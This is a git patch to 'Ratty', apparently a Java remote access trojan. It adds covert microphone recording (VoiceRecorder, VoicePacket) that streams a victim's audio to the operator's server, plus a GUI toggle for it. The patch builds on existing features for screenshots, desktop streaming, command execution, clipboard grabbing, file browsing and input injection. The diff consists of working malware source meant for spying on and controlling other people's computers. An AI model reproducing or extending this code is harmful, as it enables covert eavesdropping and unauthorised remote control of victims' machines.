From 44a91691ddbb7df3dac5a0ae0d4de0eaf7c2b9e3 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Sun, 7 Feb 2016 18:30:21 +0100 Subject: [PATCH] Major changes Added voice capturing --- Ratty/res/menu_icons.png | Bin 692 -> 756 bytes .../src/de/sogomn/rat/IRecorderListener.java | 7 ++ Ratty/src/de/sogomn/rat/Ratty.java | 2 +- Ratty/src/de/sogomn/rat/Trojan.java | 18 +++- Ratty/src/de/sogomn/rat/VoiceRecorder.java | 94 ++++++++++++++++++ .../src/de/sogomn/rat/packet/PacketType.java | 3 +- .../src/de/sogomn/rat/packet/VoicePacket.java | 58 +++++++++++ .../de/sogomn/rat/server/gui/RattyGui.java | 2 + .../rat/server/gui/RattyGuiController.java | 37 +++++-- .../sogomn/rat/server/gui/ServerClient.java | 17 +++- .../server/gui/ServerClientTableModel.java | 82 +++++++-------- 11 files changed, 267 insertions(+), 53 deletions(-) create mode 100644 Ratty/src/de/sogomn/rat/IRecorderListener.java create mode 100644 Ratty/src/de/sogomn/rat/VoiceRecorder.java create mode 100644 Ratty/src/de/sogomn/rat/packet/VoicePacket.java diff --git a/Ratty/res/menu_icons.png b/Ratty/res/menu_icons.png index 128199ec5957656d58cf3d5e6bb5474584b4535b..4eabfc5d1260f97d960500763d27d1a6c25c8336 100644 GIT binary patch delta 732 zcmV<20wevj1@r}wB!9a}L_t(|+U?vwN;^Rm!0})&h>dlM9Kb3H-XPvU3v2Nd)`E?V zH%Mh=XXOE`1hEU)*aWW-WnqImGS0s@|8~9$uSqnz@ALb;ncer?$%KQ0%vi z7lW_{cslF?008VtP-uy9-i8_ysV3ePBG)1eKy3h}Z9`vYdrkoW0CDdH znM#b*HdKv=tAF{wq1(o4x3d5MP}QvnHR0zcyIrUNrfn<$0NAx8of8;%8(0b;bP+D5 zCk#O5p12M|stIlaxOv+b4HJM=^Im*R1%N^T#D9PW;PUYxY5)L0p24S52BKWgE874X z0GR*9QP( z2GBv2Qi5Ddl6pSs%{%}A$WwxH0jMDb0>D@RQk5Xr(MQvwEM0Dd6!#P~HgZ=A&9zhnkot64L09pr#eL2Y?a;005LA z7GVG=L0pIdKndbz8~`+AXvhH2U-WCXR0~=yF2nDMXF{ O0000Q93DHoe$N{JV5;q7pfPxxv3Th-8 z8g7t^ijIl{P$40@NHjDNS6I+WiL?e|dp+y1*Z)Y<-3Zwy! zZ&#fJpcH`AEohq`FKKgN022a$QUIh|jdu$&3bcJ(WTBhSc_&i?L=VCMjC>ku0&MPI zE|+bZ1zjCobkZB(>99=z0Pt%;u`MQe8tN#dS@=*0tw9)o(g1RshQ7}Bf)W4#hCLVL zYB5sNP%|H{=70aDZ5nHx&H?~HQKurzf}fx4wrK*mrm+A3;I||hT)@cFz)}FQgK#!$ z!T>0*iQ6Eg7QtNrH*fo*=>m{iycgf50zf7J;xAwUxO_YqGywoWXX8^Y8=^vwOKk%h z0LlOa!7k~VK6=@-J^(TS(B6ET`oLXZJo_Gha9se%41d72@Z!7R;#>I8*9%S8_I9b0 zkG=mf0muv>)dd+QfO#@a8z9+*DF6WQXG($i0+=o3{cfjMHrMxU0#GVI=+;Bmpe)^j zYzr^|05Gl=#2^fS4nSzDk!nHO0Mf4uK&b$n@K%Ed29)P+bC_Df_P7&icm@&MEc!Nx2A2!a@Wd=&%3`@4{wjXG2S0000 { + voice.setData(data); + + packet.execute(client); + }); + recorder.start(); + } else { + packet.execute(client); + } } @Override diff --git a/Ratty/src/de/sogomn/rat/VoiceRecorder.java b/Ratty/src/de/sogomn/rat/VoiceRecorder.java new file mode 100644 index 0000000..d82cbf2 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/VoiceRecorder.java @@ -0,0 +1,94 @@ +package de.sogomn.rat; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; + +import javax.sound.sampled.AudioSystem; +import javax.sound.sampled.LineUnavailableException; +import javax.sound.sampled.TargetDataLine; + +import de.sogomn.engine.util.AbstractListenerContainer; + +public final class VoiceRecorder extends AbstractListenerContainer { + + private ByteArrayOutputStream out; + private TargetDataLine line; + private Thread thread; + + private int maximum; + + private static final int BUFFER_SIZE = 1024; + + public VoiceRecorder(final int maximum) { + this.maximum = maximum; + + out = new ByteArrayOutputStream(); + } + + public VoiceRecorder() { + this(0); + } + + private byte[] getData() { + final byte[] data = out.toByteArray(); + + out.reset(); + + return data; + } + + private void captureAudio() { + try { + final byte[] data = new byte[BUFFER_SIZE]; + + line.read(data, 0, BUFFER_SIZE); + out.write(data); + } catch (final IOException ex) { + ex.printStackTrace(); + } + } + + public void start() { + final Runnable runnable = () -> { + while (out.size() < maximum) { + captureAudio(); + } + + stop(); + + final byte[] data = getData(); + + notifyListeners(listener -> listener.done(this, data)); + }; + + try { + line = AudioSystem.getTargetDataLine(null); + thread = new Thread(runnable); + + out.reset(); + line.open(); + line.start(); + thread.start(); + } catch (final LineUnavailableException ex) { + stop(); + } + } + + public void stop() { + try { + thread.interrupt(); + line.close(); + out.close(); + } catch (final IOException ex) { + //... + } finally { + thread = null; + line = null; + } + } + + public void setMaximum(final int maximum) { + this.maximum = maximum; + } + +} diff --git a/Ratty/src/de/sogomn/rat/packet/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java index 0a56494..94f9d96 100644 --- a/Ratty/src/de/sogomn/rat/packet/PacketType.java +++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java @@ -17,7 +17,8 @@ public enum PacketType { EXECUTE(12, ExecuteFilePacket.class), FOLDER(13, CreateFolderPacket.class), DELETE(14, DeleteFilePacket.class), - MOUSE_EVENT(15, MouseEventPacket.class); + MOUSE_EVENT(15, MouseEventPacket.class), + VOICE(16, VoicePacket.class); public final byte id; public final Class clazz; diff --git a/Ratty/src/de/sogomn/rat/packet/VoicePacket.java b/Ratty/src/de/sogomn/rat/packet/VoicePacket.java new file mode 100644 index 0000000..211c385 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/packet/VoicePacket.java @@ -0,0 +1,58 @@ +package de.sogomn.rat.packet; + +import de.sogomn.engine.fx.Sound; +import de.sogomn.rat.ActiveClient; + +public final class VoicePacket extends AbstractPingPongPacket { + + private byte[] data; + + public VoicePacket() { + type = REQUEST; + data = new byte[0]; + } + + @Override + protected void sendRequest(final ActiveClient client) { + //... + } + + @Override + protected void sendData(final ActiveClient client) { + client.writeInt(data.length); + client.write(data); + } + + @Override + protected void receiveRequest(final ActiveClient client) { + //... + } + + @Override + protected void receiveData(final ActiveClient client) { + final int length = client.readInt(); + + data = new byte[length]; + + client.read(data); + } + + @Override + protected void executeRequest(final ActiveClient client) { + type = DATA; + + client.addPacket(this); + } + + @Override + protected void executeData(final ActiveClient client) { + final Sound sound = Sound.loadSound(data); + + sound.play(); + } + + public void setData(final byte[] data) { + this.data = data; + } + +} diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index f7e9008..4531490 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -49,6 +49,7 @@ public final class RattyGui { public static final String POPUP = "Open popup"; public static final String SCREENSHOT = "Take screenshot"; public static final String DESKTOP = "Toggle desktop stream"; + public static final String VOICE = "Toggle audio stream"; public static final String FILES = "Browse files"; public static final String COMMAND = "Execute command"; public static final String CLIPBOARD = "Get clipboard content"; @@ -59,6 +60,7 @@ public final class RattyGui { POPUP, SCREENSHOT, DESKTOP, + VOICE, FILES, COMMAND, CLIPBOARD, diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index 28f1081..2a50543 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -26,6 +26,7 @@ import de.sogomn.rat.packet.MouseEventPacket; import de.sogomn.rat.packet.PopupPacket; import de.sogomn.rat.packet.ScreenshotPacket; import de.sogomn.rat.packet.UploadFilePacket; +import de.sogomn.rat.packet.VoicePacket; import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.IServerObserver; import de.sogomn.rat.util.FrameEncoder.IFrame; @@ -40,7 +41,6 @@ public final class RattyGuiController implements IServerObserver, IClientObserve private JFileChooser fileChooser; private ArrayList clients; - private long nextId; public RattyGuiController(final RattyGui gui) { this.gui = gui; @@ -82,7 +82,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve packet = new ScreenshotPacket(); } else if (command == RattyGui.COMMAND) { packet = CommandPacket.create(); - } else if (command == RattyGui.DESKTOP) { + } else if (command == RattyGui.DESKTOP && !serverClient.isStreamingDesktop()) { packet = new DesktopStreamPacket(true); } else if (command == RattyGui.CLIPBOARD) { packet = new ClipboardPacket(); @@ -138,20 +138,22 @@ public final class RattyGuiController implements IServerObserver, IClientObserve final int key = displayPanel.getLastKeyHit(); packet = new KeyEventPacket(key, KeyEventPacket.RELEASE); - } else if (command == DisplayPanel.MOUSE_PRESSED) { + } else if (command == DisplayPanel.MOUSE_PRESSED && serverClient.isStreamingDesktop()) { final DisplayPanel displayPanel = serverClient.getDisplayPanel(); final int x = displayPanel.getLastXPos(); final int y = displayPanel.getLastYPos(); final int button = displayPanel.getLastButtonHit(); packet = new MouseEventPacket(x, y, button, MouseEventPacket.PRESS); - } else if (command == DisplayPanel.MOUSE_RELEASED) { + } else if (command == DisplayPanel.MOUSE_RELEASED && serverClient.isStreamingDesktop()) { final DisplayPanel displayPanel = serverClient.getDisplayPanel(); final int x = displayPanel.getLastXPos(); final int y = displayPanel.getLastYPos(); final int button = displayPanel.getLastButtonHit(); packet = new MouseEventPacket(x, y, button, MouseEventPacket.RELEASE); + } else if (command == RattyGui.VOICE && !serverClient.isStreamingVoice()) { + packet = new VoicePacket(); } return packet; @@ -175,6 +177,14 @@ public final class RattyGuiController implements IServerObserver, IClientObserve serverClient.client.addPacket(request); } + private void handle(final ServerClient serverClient, final VoicePacket packet) { + final VoicePacket voice = new VoicePacket(); + + packet.execute(serverClient.client); + + serverClient.client.addPacket(voice); + } + private void handle(final ServerClient serverClient, final FileSystemPacket packet) { final FileTreePanel treePanel = serverClient.getTreePanel(); final String[] paths = packet.getPaths(); @@ -207,11 +217,20 @@ public final class RattyGuiController implements IServerObserver, IClientObserve handle(serverClient, screenshot); } else if (packet instanceof DesktopStreamPacket) { final boolean streamingDesktop = serverClient.isStreamingDesktop(); - final DesktopStreamPacket stream = (DesktopStreamPacket)packet; if (streamingDesktop) { + final DesktopStreamPacket stream = (DesktopStreamPacket)packet; + handle(serverClient, stream); } + } else if (packet instanceof VoicePacket) { + final boolean streamingVoice = serverClient.isStreamingVoice(); + + if (streamingVoice) { + final VoicePacket voice = (VoicePacket)packet; + + handle(serverClient, voice); + } } else if (packet instanceof FileSystemPacket) { final FileSystemPacket file = (FileSystemPacket)packet; @@ -244,8 +263,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve @Override public synchronized void clientConnected(final ActiveServer server, final ActiveClient client) { - final long id = nextId++; - final ServerClient serverClient = new ServerClient(id, client); + final ServerClient serverClient = new ServerClient(client); final InformationPacket packet = new InformationPacket(); client.setObserver(this); @@ -279,6 +297,11 @@ public final class RattyGuiController implements IServerObserver, IClientObserve treePanel.setVisible(true); } else if (command == RattyGui.BUILD) { StubBuilder.start(); + } else if (command == RattyGui.VOICE) { + final boolean streaming = serverClient.isStreamingVoice(); + + serverClient.setStreamingVoice(!streaming); + gui.updateTable(); } } diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java index 2b832a5..047cc92 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java @@ -8,15 +8,14 @@ public final class ServerClient { private boolean loggedIn; private boolean streamingDesktop; + private boolean streamingVoice; private DisplayPanel displayPanel; private FileTreePanel treePanel; - final long id; final ActiveClient client; - public ServerClient(final long id, final ActiveClient client) { - this.id = id; + public ServerClient(final ActiveClient client) { this.client = client; displayPanel = new DisplayPanel(); @@ -38,6 +37,10 @@ public final class ServerClient { this.streamingDesktop = streamingDesktop; } + public void setStreamingVoice(final boolean streamingVoice) { + this.streamingVoice = streamingVoice; + } + public void setController(final IGuiController controller) { displayPanel.setController(controller); treePanel.setController(controller); @@ -47,6 +50,10 @@ public final class ServerClient { return name; } + public String getAddress() { + return client.getAddress(); + } + public String getOs() { return os; } @@ -63,6 +70,10 @@ public final class ServerClient { return streamingDesktop; } + public boolean isStreamingVoice() { + return streamingVoice; + } + public DisplayPanel getDisplayPanel() { return displayPanel; } diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java index 985eea8..fa2b90f 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java @@ -1,6 +1,7 @@ package de.sogomn.rat.server.gui; import java.util.ArrayList; +import java.util.function.Function; import javax.swing.table.AbstractTableModel; @@ -8,45 +9,42 @@ final class ServerClientTableModel extends AbstractTableModel { private static final long serialVersionUID = 919111102883611810L; private ArrayList serverClients; + private Column[] columns; - private static final int COLUMN_COUNT = 5; - private static final String[] HEADERS = { - "Name", - "IP address", - "OS", - "Version", - "Streaming" - }; + private static final int COLUMN_COUNT = 6; public ServerClientTableModel() { serverClients = new ArrayList(); + columns = new Column[COLUMN_COUNT]; + + columns[0] = new Column("Name", String.class, ServerClient::getName); + columns[1] = new Column("IP address", String.class, ServerClient::getAddress); + columns[2] = new Column("OS", String.class, ServerClient::getOs); + columns[3] = new Column("Version", String.class, ServerClient::getVersion); + columns[4] = new Column("Streaming desktop", Boolean.class, ServerClient::isStreamingDesktop); + columns[5] = new Column("Streaming voice", Boolean.class, ServerClient::isStreamingVoice); } @Override - public String getColumnName(final int column) { - if (column <= HEADERS.length - 1 && column >= 0) { - return HEADERS[column]; + public String getColumnName(final int columnIndex) { + if (columnIndex <= COLUMN_COUNT - 1 && columnIndex >= 0) { + final Column column = columns[columnIndex]; + + return column.name; } - return super.getColumnName(column); + return super.getColumnName(columnIndex); } @Override public Class getColumnClass(final int columnIndex) { - switch (columnIndex) { - case 0: - return String.class; - case 1: - return String.class; - case 2: - return String.class; - case 3: - return String.class; - case 4: - return Boolean.class; - default: - return super.getColumnClass(columnIndex); + if (columnIndex <= COLUMN_COUNT - 1 && columnIndex >= 0) { + final Column column = columns[columnIndex]; + + return column.clazz; } + + return super.getColumnClass(columnIndex); } @Override @@ -58,24 +56,14 @@ final class ServerClientTableModel extends AbstractTableModel { public Object getValueAt(final int rowIndex, final int columnIndex) { final ServerClient serverClient = getServerClient(rowIndex); - if (serverClient == null) { + if (serverClient == null || columnIndex > COLUMN_COUNT - 1 || columnIndex < 0) { return null; } - switch (columnIndex) { - case 0: - return serverClient.getName(); - case 1: - return serverClient.client.getAddress(); - case 2: - return serverClient.getOs(); - case 3: - return serverClient.getVersion(); - case 4: - return serverClient.isStreamingDesktop(); - default: - return null; - } + final Column column = columns[columnIndex]; + final Function value = column.value; + + return value.apply(serverClient); } @Override @@ -106,4 +94,18 @@ final class ServerClientTableModel extends AbstractTableModel { return null; } + private final class Column { + + final String name; + final Class clazz; + final Function value; + + public Column(final String name, final Class clazz, final Function value) { + this.name = name; + this.clazz = clazz; + this.value = value; + } + + } + }